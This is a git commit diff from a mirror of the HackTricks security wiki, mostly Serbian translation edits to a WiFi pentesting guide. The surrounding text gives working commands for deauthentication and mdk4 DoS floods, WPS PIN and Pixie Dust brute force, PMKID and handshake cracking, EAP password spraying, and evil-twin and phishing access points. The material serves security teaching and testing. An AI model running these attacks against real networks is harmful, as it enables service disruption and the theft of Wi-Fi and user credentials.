mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 12:13:17 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
This commit is contained in:
parent
3fb3a962ae
commit
d8b4153b77
19 changed files with 432 additions and 438 deletions
10
README.md
10
README.md
|
@ -65,7 +65,7 @@ Pribavite pristup danas:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bugove!
|
||||
|
||||
|
@ -93,10 +93,10 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni sakupljaju podatke sa pretraživača, upravljaju proxy-ima, rešavaju captcha izazove i analiziraju sve bogate strukturirane podatke za vas.
|
||||
**SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni prikupljaju podatke sa pretraživača, upravljaju proxy-ima, rešavaju captcha izazove i analiziraju sve bogate strukturirane podatke za vas.
|
||||
|
||||
Pretplata na jedan od planova SerpApi uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
||||
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
|
||||
Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za prikupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
||||
Za razliku od drugih provajdera, **SerpApi ne prikuplja samo organske rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video zapise, grafove znanja i druge elemente i funkcije prisutne u rezultatima pretrage.
|
||||
|
||||
Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\
|
||||
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground-u**](https://serpapi.com/playground)**.**\
|
||||
|
@ -108,7 +108,7 @@ Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** preduzeća **široko po svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko u svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
||||
|
||||
WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Sigurnosne** revizije, Obuke o svesti, Phishing kampanje, Revizija koda, Razvoj eksploata, Outsourcing stručnjaka za bezbednost i još mnogo toga.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -71,9 +71,11 @@ docker run \
|
|||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||||
v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
|
||||
|
||||
### wifiphisher
|
||||
|
||||
Može izvesti napade Evil Twin, KARMA i Known Beacons, a zatim koristiti phishing šablon da bi uspeo da dobije pravu lozinku mreže ili da uhvati kredencijale društvenih mreža.
|
||||
Može izvesti napade Evil Twin, KARMA i Known Beacons, a zatim koristiti phishing šablon kako bi uspeo da dobije pravu lozinku za mrežu ili da prikupi kredencijale sa društvenih mreža.
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
|
@ -92,10 +94,10 @@ Ovaj alat automatizuje **WPS/WEP/WPA-PSK** napade. Automatski će:
|
|||
* Pokušati da deautentifikuje klijente AP-a da bi uhvatio handshake
|
||||
* Ako PMKID ili Handshake, pokušati da bruteforce koristeći top5000 lozinki.
|
||||
|
||||
## Pregled napada
|
||||
## Sažetak napada
|
||||
|
||||
* **DoS**
|
||||
* Deautentifikacija/disasocijacija -- Isključiti sve (ili specifični ESSID/klijent)
|
||||
* Deautentifikacija/disasocijacija -- Isključiti sve (ili specifični ESSID/Klijent)
|
||||
* Nasumični lažni AP-ovi -- Sakriti mreže, moguće srušiti skener
|
||||
* Preopteretiti AP -- Pokušati da ubije AP (obično nije vrlo korisno)
|
||||
* WIDS -- Igrati se sa IDS-om
|
||||
|
@ -132,12 +134,12 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||
* \-0 znači deautentifikaciju
|
||||
* 1 je broj deautentifikacija koje treba poslati (možete poslati više ako želite); 0 znači slati ih kontinuirano
|
||||
* \-a 00:14:6C:7E:40:80 je MAC adresa pristupne tačke
|
||||
* \-c 00:0F:B5:34:30:30 je MAC adresa klijenta koji treba deautentifikovati; ako je ovo izostavljeno, tada se šalje deautentifikacija u emitovanju (ne radi uvek)
|
||||
* \-c 00:0F:B5:34:30:30 je MAC adresa klijenta koji treba deautentifikovati; ako je ovo izostavljeno, tada se šalje emitovana deautentifikacija (ne radi uvek)
|
||||
* ath0 je naziv interfejsa
|
||||
|
||||
### Paketi disasocijacije
|
||||
|
||||
**Paketi disasocijacije**, slični paketima deautentifikacije, su vrsta upravljačkog okvira koji se koristi u Wi-Fi mrežama. Ovi paketi služe za prekid veze između uređaja (kao što su laptop ili pametni telefon) i pristupne tačke (AP). Primarna razlika između disasocijacije i deautentifikacije leži u njihovim scenarijima korišćenja. Dok AP emituje **pakete deautentifikacije da bi eksplicitno uklonio neovlašćene uređaje iz mreže, paketi disasocijacije se obično šalju kada AP prolazi kroz gašenje**, restart ili premestanje, čime se zahteva prekid veze svih povezanih čvorova.
|
||||
**Paketi disasocijacije**, slični paketima deautentifikacije, su vrsta upravljačkog okvira koji se koristi u Wi-Fi mrežama. Ovi paketi služe za prekid veze između uređaja (kao što su laptop ili pametni telefon) i pristupne tačke (AP). Primarna razlika između disasocijacije i deautentifikacije leži u njihovim scenarijima korišćenja. Dok AP emituje **pakete deautentifikacije da bi eksplicitno uklonio neovlašćene uređaje iz mreže, paketi disasocijacije se obično šalju kada AP prolazi kroz gašenje**, restart ili premestanje, čime se zahteva prekid veze sa svim povezanim čvorovima.
|
||||
|
||||
**Ovaj napad se može izvesti pomoću mdk4(mode "d"):**
|
||||
```bash
|
||||
|
@ -152,9 +154,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|||
|
||||
**U** [**ovde**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
**NAPAD MODE b: Flooding Beacon-a**
|
||||
**MOD NAPADA b: Flooding Beacon-a**
|
||||
|
||||
Šalje beacon okvire kako bi prikazao lažne AP-ove kod klijenata. Ovo ponekad može srušiti mrežne skener-e i čak drajvere!
|
||||
Šalje beacon okvire kako bi prikazao lažne AP-ove klijentima. Ovo ponekad može srušiti mrežne skener-e i čak drajvere!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
|
@ -178,7 +180,7 @@ Probing Access Points (APs) proverava da li je SSID pravilno otkriven i potvrđu
|
|||
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
Slanje nasumičnih ili duplih paketa različitim QoS redovima može aktivirati Michael Countermeasures na **TKIP APs**, što dovodi do jednog minuta gašenja AP-a. Ova metoda je efikasna **DoS** (Denial of Service) napadačka taktika.
|
||||
Slanje nasumičnih ili duplih paketa različitim QoS redovima može aktivirati Michael Countermeasures na **TKIP APs**, što dovodi do jednog minuta gašenja AP-a. Ova metoda je efikasna **DoS** (Denial of Service) napadna taktika.
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
|
@ -186,7 +188,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|||
```
|
||||
**ATTACK MODE e: EAPOL Start i Logoff Paketi Injekcija**
|
||||
|
||||
Flooding AP-a sa **EAPOL Start okvirima** stvara **lažne sesije**, preopterećujući AP i blokirajući legitimne klijente. Alternativno, injektovanje **lažnih EAPOL Logoff poruka** prisilno isključuje klijente, obe metode efikasno ometaju mrežnu uslugu.
|
||||
Flooding AP-a sa **EAPOL Start okvirima** stvara **lažne sesije**, preopterećujući AP i blokirajući legitimne klijente. Alternativno, injektovanje **lažnih EAPOL Logoff poruka** prisilno prekida klijente, obe metode efikasno ometaju mrežnu uslugu.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
|
@ -195,14 +197,14 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
|||
|
||||
Različiti napadi na upravljanje vezama i rutiranje u mesh mrežama.
|
||||
|
||||
**ATTACK MODE w: WIDS Zbunjenost**
|
||||
**ATTACK MODE w: WIDS konfuzija**
|
||||
|
||||
Kros-konekcija klijenata na više WDS čvorova ili lažnih rogue AP-ova može manipulisati sistemima za otkrivanje i prevenciju upada, stvarajući konfuziju i potencijalnu zloupotrebu sistema.
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**NAPAD MODE f: Packet Fuzzer**
|
||||
**ATTACK MODE f: Packet Fuzzer**
|
||||
|
||||
Packet fuzzer koji sadrži raznovrsne izvore paketa i sveobuhvatan set modifikatora za manipulaciju paketima.
|
||||
|
||||
|
@ -220,7 +222,7 @@ WPS (Wi-Fi Protected Setup) pojednostavljuje proces povezivanja uređaja na rute
|
|||
|
||||
Postoje 2 glavna alata za izvođenje ove akcije: Reaver i Bully.
|
||||
|
||||
* **Reaver** je dizajniran da bude robustan i praktičan napad protiv WPS-a, i testiran je protiv širokog spektra pristupnih tačaka i WPS implementacija.
|
||||
* **Reaver** je dizajniran da bude robusna i praktična metoda napada na WPS, i testiran je protiv širokog spektra pristupnih tačaka i WPS implementacija.
|
||||
* **Bully** je **nova implementacija** WPS brute force napada, napisana u C. Ima nekoliko prednosti u odnosu na originalni reaver kod: manje zavisnosti, poboljšane performanse memorije i CPU-a, ispravno rukovanje endijanošću, i robusniji set opcija.
|
||||
|
||||
Napad koristi **ranjivost WPS PIN-a**, posebno izlaganje prvih četiri cifre i ulogu poslednje cifre kao kontrolnog zbira, olakšavajući napad brute-force. Međutim, odbrana od brute-force napada, kao što je **blokiranje MAC adresa** agresivnih napadača, zahteva **rotaciju MAC adresa** kako bi se napad nastavio.
|
||||
|
@ -241,12 +243,12 @@ Ovaj rafiniran pristup cilja WPS PIN-ove koristeći poznate ranjivosti:
|
|||
|
||||
**Dominique Bongard** je otkrio grešku u nekim pristupnim tačkama (AP) u vezi sa kreiranjem tajnih kodova, poznatih kao **nonces** (**E-S1** i **E-S2**). Ako se ovi nonces mogu otkriti, provaljivanje WPS PIN-a AP-a postaje lako. AP otkriva PIN unutar posebnog koda (hash) kako bi dokazao da je legitiman i da nije lažni (rogue) AP. Ovi nonces su suštinski "ključevi" za otključavanje "sef-a" koji sadrži WPS PIN. Više o ovome možete pronaći [ovde](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
|
||||
U jednostavnim rečima, problem je u tome što neki AP-ovi nisu koristili dovoljno nasumične ključeve za enkripciju PIN-a tokom procesa povezivanja. To čini PIN ranjivim na pogađanje sa spoljašnje strane mreže (offline brute force attack).
|
||||
U jednostavnim rečima, problem je u tome što neki AP-ovi nisu koristili dovoljno nasumične ključeve za enkripciju PIN-a tokom procesa povezivanja. To čini PIN ranjivim na pogađanje sa spoljne strane mreže (offline brute force attack).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
Ako ne želite da prebacite uređaj u režim nadzora, ili `reaver` i `bully` imaju neki problem, možete probati [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Ovaj alat može izvršiti Pixie Dust napad bez potrebe da se prebacite u režim nadzora.
|
||||
Ako ne želite da prebacite uređaj u režim nadzora, ili `reaver` i `bully` imaju neki problem, možete probati [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Ovaj alat može izvesti Pixie Dust napad bez potrebe da se prebacite u režim nadzora.
|
||||
```bash
|
||||
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
||||
```
|
||||
|
@ -276,7 +278,7 @@ Tako slomljen i neupotrebljavan danas. Samo znajte da _**airgeddon**_ ima WEP op
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -326,9 +328,9 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
|||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
Molimo vas da obratite pažnju na format ispravnog hasha koji sadrži **4 dela**, kao što je: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Ako vaš **sadrži samo** **3 dela**, onda je **neispravan** (PMKID snimak nije bio validan).
|
||||
Молимо вас да обратите пажњу на формат исправног хеша који садржи **4 дела**, као: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Ако ваш **само** садржи **3 дела**, онда је он **неважећи** (PMKID захват није био важећи).
|
||||
|
||||
Napomena da `hcxdumptool` **takođe snima rukovanja** (nešto poput ovoga će se pojaviti: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Možete **pretvoriti** **rukovanja** u **hashcat**/**john** format koristeći `cap2hccapx`
|
||||
Имајте на уму да `hcxdumptool` **такође захвата хандшејкове** (нешто попут овога ће се појавити: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Можете **претворити** **хандшејкове** у **hashcat**/**john** формат користећи `cap2hccapx`
|
||||
```bash
|
||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||
|
@ -336,18 +338,18 @@ hccap2john pmkid.hccapx > handshake.john
|
|||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_I primetio sam da neki rukohvati uhvaćeni ovim alatom nisu mogli biti otkriveni čak i kada se zna tačna lozinka. Preporučujem da se rukohvati uhvate i na tradicionalan način ako je moguće, ili da se uhvati nekoliko njih koristeći ovaj alat._
|
||||
_I primetio sam da neki rukohvati uhvaćeni ovim alatom nisu mogli biti otkriveni čak i kada je poznata tačna lozinka. Preporučujem da se rukohvati uhvate i na tradicionalan način ako je moguće, ili da se uhvati nekoliko njih koristeći ovaj alat._
|
||||
|
||||
### Handshake capture
|
||||
|
||||
Napad na **WPA/WPA2** mreže može se izvršiti hvatanjem **rukohvata** i pokušajem da se **otkrije** lozinka **offline**. Ovaj proces uključuje praćenje komunikacije određene mreže i **BSSID** na određenom **kanalu**. Evo pojednostavljenog vodiča:
|
||||
|
||||
1. Identifikujte **BSSID**, **kanal** i **povezanog klijenta** ciljne mreže.
|
||||
2. Koristite `airodump-ng` za praćenje mrežnog saobraćaja na navedenom kanalu i BSSID-u, nadajući se da ćete uhvatiti rukohvat. Komanda će izgledati ovako:
|
||||
2. Koristite `airodump-ng` da pratite mrežni saobraćaj na navedenom kanalu i BSSID, nadajući se da ćete uhvatiti rukohvat. Komanda će izgledati ovako:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. Da biste povećali šanse za hvatanje rukovanja, privremeno isključite klijenta iz mreže kako biste primorali ponovnu autentifikaciju. To se može uraditi koristeći `aireplay-ng` komandu, koja šalje pakete deautentifikacije klijentu:
|
||||
3. Da biste povećali šanse za hvatanje rukovanja, privremeno isključite klijenta iz mreže kako biste primorali ponovnu autentifikaciju. To se može uraditi koristeći komandu `aireplay-ng`, koja šalje pakete deautentifikacije klijentu:
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
|
@ -375,7 +377,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
|
|||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_Ako ovaj alat pronađe nepotpun handshake nekog ESSID-a pre nego što pronađe kompletan, neće detektovati validan._
|
||||
_Ako ovaj alat pronađe nepotpun handshake nekog ESSID-a pre nego što pronađe kompletan, neće detektovati važeći._
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
|
@ -426,13 +428,13 @@ U EAP-PEAP, kada se TLS tunel uspostavi između PEAP servera i PEAP klijenta, PE
|
|||
|
||||
EAP-TTLS prati malo drugačiju proceduru. Sa EAP-TTLS, klijent obično autentifikuje koristeći PAP ili CHAP, zaštićen TLS tunelom. U ovom slučaju, klijent uključuje atribut User-Name i ili atribut Password ili CHAP-Password u inicijalnoj TLS poruci poslatog nakon uspostavljanja tunela.
|
||||
|
||||
Bez obzira na izabrani protokol, PEAP/TTLS server saznaje pravi identitet korisnika nakon što je TLS tunel uspostavljen. Pravi identitet može biti predstavljen kao user@realm ili jednostavno user. Ako je PEAP/TTLS server takođe odgovoran za autentifikaciju korisnika, sada poseduje identitet korisnika i nastavlja sa metodom autentifikacije zaštićenom TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev ka domaćem RADIUS serveru korisnika. Ovaj novi RADIUS zahtev izostavlja PEAP ili TTLS protokol. U slučajevima kada je zaštićena metoda autentifikacije EAP, unutrašnje EAP poruke se prenose ka domaćem RADIUS serveru bez PEAP-PEAP ili EAP-TTLS omotača. Atribut User-Name u odlaznoj RADIUS poruci sadrži pravi identitet korisnika, zamenjujući anonimni User-Name iz dolaznog RADIUS zahteva. Kada je zaštićena metoda autentifikacije PAP ili CHAP (podržana samo od strane TTLS), atribut User-Name i drugi atributi autentifikacije izvučeni iz TLS tereta se zamenjuju u odlaznoj RADIUS poruci, zamenjujući anonimni User-Name i TTLS EAP-Message atribute pronađene u dolaznom RADIUS zahtevu.
|
||||
Bez obzira na izabrani protokol, PEAP/TTLS server saznaje pravi identitet korisnika nakon što je TLS tunel uspostavljen. Pravi identitet može biti predstavljen kao user@realm ili jednostavno user. Ako je PEAP/TTLS server takođe odgovoran za autentifikaciju korisnika, sada poseduje identitet korisnika i nastavlja sa metodom autentifikacije zaštićenom TLS tunelom. Alternativno, PEAP/TTLS server može proslediti novi RADIUS zahtev ka domaćem RADIUS serveru korisnika. Ovaj novi RADIUS zahtev izostavlja PEAP ili TTLS protokol. U slučajevima kada je zaštićena metoda autentifikacije EAP, unutrašnje EAP poruke se prenose ka domaćem RADIUS serveru bez EAP-PEAP ili EAP-TTLS omotača. Atribut User-Name u odlaznoj RADIUS poruci sadrži pravi identitet korisnika, zamenjujući anonimni User-Name iz dolaznog RADIUS zahteva. Kada je zaštićena metoda autentifikacije PAP ili CHAP (podržana samo od strane TTLS), atribut User-Name i drugi atributi autentifikacije izvučeni iz TLS tereta se zamenjuju u odlaznoj RADIUS poruci, zamenjujući anonimni User-Name i TTLS EAP-Message atribute pronađene u dolaznom RADIUS zahtevu.
|
||||
|
||||
Za više informacija pogledajte [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
||||
|
||||
### EAP-Bruteforce (password spray)
|
||||
|
||||
Ako se očekuje da klijent koristi **korisničko ime i lozinku** (primetite da **EAP-TLS neće biti validan** u ovom slučaju), onda možete pokušati da dobijete **listu** **korisničkih imena** (vidite sledeći deo) i **lozinki** i pokušate da **bruteforce** pristup koristeći [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
Ako se očekuje da klijent koristi **korisničko ime i lozinku** (primetite da **EAP-TLS neće biti validan** u ovom slučaju), onda biste mogli pokušati da dobijete **listu** **korisničkih imena** (vidite sledeći deo) i **lozinki** i pokušati da **bruteforce** pristup koristeći [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
|
@ -448,7 +450,7 @@ Možete takođe izvršiti ovaj napad koristeći `eaphammer`:
|
|||
|
||||
### Izbor mreže i roaming
|
||||
|
||||
* 802.11 protokol definiše kako stacija pridružuje proširenom servisnom skupu (ESS), ali ne specificira kriterijume za izbor ESS-a ili pristupne tačke (AP) unutar njega.
|
||||
* Protokol 802.11 definiše kako stacija pridružuje proširenom servisnom skupu (ESS), ali ne specificira kriterijume za izbor ESS-a ili pristupne tačke (AP) unutar njega.
|
||||
* Stanice mogu da se kreću između AP-ova koji dele isti ESSID, održavajući povezanost širom zgrade ili područja.
|
||||
* Protokol zahteva autentifikaciju stanice na ESS, ali ne nalaže autentifikaciju AP-a prema stanici.
|
||||
|
||||
|
@ -459,17 +461,17 @@ Možete takođe izvršiti ovaj napad koristeći `eaphammer`:
|
|||
|
||||
### Pasivno skeniranje
|
||||
|
||||
* AP-ovi periodično emituju beacon okvire, najavljujući svoje prisustvo i karakteristike, uključujući ESSID AP-a osim ako emitovanje nije onemogućeno.
|
||||
* AP-ovi periodično emituju beacon okvire, najavljujući svoju prisutnost i karakteristike, uključujući ESSID AP-a osim ako emitovanje nije onemogućeno.
|
||||
* Tokom pasivnog skeniranja, stanice slušaju beacon okvire. Ako se ESSID beacona poklapa sa stavkom u PNL-u stanice, stanica se može automatski povezati na taj AP.
|
||||
* Poznavanje PNL-a uređaja omogućava potencijalnu eksploataciju oponašanjem ESSID-a poznate mreže, obmanjujući uređaj da se poveže na lažni AP.
|
||||
|
||||
### Aktivno ispitivanje
|
||||
|
||||
* Aktivno ispitivanje uključuje stanice koje šalju probe zahteve kako bi otkrile obližnje AP-ove i njihove karakteristike.
|
||||
* Usmereni probe zahtevi ciljaju specifičan ESSID, pomažući u otkrivanju da li je određena mreža u dometu, čak i ako je skrivena mreža.
|
||||
* Usmereni probe zahtevi ciljaju određeni ESSID, pomažući u otkrivanju da li je određena mreža u dometu, čak i ako je skrivena mreža.
|
||||
* Emitovani probe zahtevi imaju prazan SSID polje i šalju se svim obližnjim AP-ovima, omogućavajući stanici da proveri bilo koju preferiranu mrežu bez otkrivanja sadržaja svog PNL-a.
|
||||
|
||||
## Jednostavan AP sa preusmeravanjem na Internet
|
||||
## Jednostavni AP sa preusmeravanjem na Internet
|
||||
|
||||
Pre nego što se objasni kako izvesti složenije napade, biće objašnjeno **kako** jednostavno **napraviti** **AP** i **preusmeriti** njegov **saobraćaj** na interfejs povezan **na** **Internet**.
|
||||
|
||||
|
@ -539,11 +541,11 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
|
||||
Napad zlog blizanca koristi način na koji WiFi klijenti prepoznaju mreže, prvenstveno oslanjajući se na ime mreže (ESSID) bez potrebe da bazna stanica (pristupna tačka) autentifikuje sebe klijentu. Ključne tačke uključuju:
|
||||
|
||||
* **Teškoće u Diferencijaciji**: Uređaji se bore da razlikuju legitimne i lažne pristupne tačke kada dele isto ESSID i tip enkripcije. Mreže u stvarnom svetu često koriste više pristupnih tačaka sa istim ESSID-om kako bi neprimetno proširile pokrivenost.
|
||||
* **Roaming Klijenata i Manipulacija Povezivanjem**: 802.11 protokol omogućava uređajima da se kreću između pristupnih tačaka unutar iste ESS. Napadači mogu iskoristiti ovo tako što će namamiti uređaj da se disconectuje od svoje trenutne bazne stanice i poveže se sa lažnom. Ovo se može postići nudeći jači signal ili ometajući vezu sa legitimnom pristupnom tačkom putem metoda kao što su deautentifikacijski paketi ili ometanje.
|
||||
* **Izazovi u Izvršenju**: Uspešno izvršavanje napada zlog blizanca u okruženjima sa više, dobro postavljenih pristupnih tačaka može biti izazovno. Deautentifikacija jedne legitimne pristupne tačke često rezultira povezivanjem uređaja sa drugom legitimnom pristupnom tačkom, osim ako napadač ne može deautentifikovati sve obližnje pristupne tačke ili strateški postaviti lažnu pristupnu tačku.
|
||||
* **Teškoće u Diferencijaciji**: Uređaji se bore da razlikuju legitimne i zle pristupne tačke kada dele isto ESSID i tip enkripcije. Mreže u stvarnom svetu često koriste više pristupnih tačaka sa istim ESSID-om kako bi neprimetno proširile pokrivenost.
|
||||
* **Roaming Klijenata i Manipulacija Povezivanjem**: 802.11 protokol omogućava uređajima da se kreću između pristupnih tačaka unutar iste ESS. Napadači mogu iskoristiti ovo tako što će namamiti uređaj da se disconectuje sa svoje trenutne bazne stanice i poveže se sa zlom. Ovo se može postići nudeći jači signal ili ometajući vezu sa legitimnom pristupnom tačkom putem metoda kao što su deautentifikacijski paketi ili ometanje.
|
||||
* **Izazovi u Izvršenju**: Uspešno izvršavanje napada zlog blizanca u okruženjima sa više, dobro postavljenih pristupnih tačaka može biti izazovno. Deautentifikacija jedne legitimne pristupne tačke često rezultira povezivanjem uređaja sa drugom legitimnom pristupnom tačkom, osim ako napadač ne može deautentifikovati sve obližnje pristupne tačke ili strateški postaviti zlu pristupnu tačku.
|
||||
|
||||
Možete kreirati vrlo osnovni Open Evil Twin (bez mogućnosti usmeravanja saobraćaja na Internet) tako što ćete:
|
||||
Možete kreirati vrlo osnovni Open Evil Twin (bez mogućnosti usmeravanja saobraćaja na Internet) radeći:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
|
@ -551,11 +553,11 @@ Možete takođe kreirati Evil Twin koristeći **eaphammer** (imajte na umu da in
|
|||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
Ili korišćenjem Airgeddon-a: `Opcije: 5,6,7,8,9 (unutar menija za Evil Twin napad).`
|
||||
Ili korišćenjem Airgeddon-a: `Options: 5,6,7,8,9 (unutar menija za Evil Twin napad).`
|
||||
|
||||
![](<../../.gitbook/assets/image (1088).png>)
|
||||
|
||||
Molimo vas da primetite da, po defaultu, ako je ESSID u PNL sačuvan kao WPA zaštićen, uređaj se neće automatski povezati na Open evil Twin. Možete pokušati da DoS-ujete pravi AP i nadati se da će se korisnik ručno povezati na vaš Open evil Twin, ili možete DoS-ovati pravi AP i koristiti WPA Evil Twin da uhvatite handshake (koristeći ovu metodu nećete moći da omogućite žrtvi da se poveže sa vama jer ne znate PSK, ali možete uhvatiti handshake i pokušati da ga crack-ujete).
|
||||
Molim vas, obratite pažnju da, po defaultu, ako je ESSID u PNL sačuvan kao WPA zaštićen, uređaj se neće automatski povezati na Open evil Twin. Možete pokušati da DoS-ujete pravi AP i nadati se da će se korisnik ručno povezati na vaš Open evil twin, ili možete DoS-ovati pravi AP i koristiti WPA Evil Twin da uhvatite handshake (koristeći ovu metodu nećete moći da omogućite žrtvi da se poveže sa vama jer ne znate PSK, ali možete uhvatiti handshake i pokušati da ga crack-ujete).
|
||||
|
||||
_Neki OS i AV će upozoriti korisnika da je povezivanje na Open mrežu opasno..._
|
||||
|
||||
|
@ -588,7 +590,7 @@ U konfiguracionom fajlu možete odabrati mnogo različitih stvari kao što su ss
|
|||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
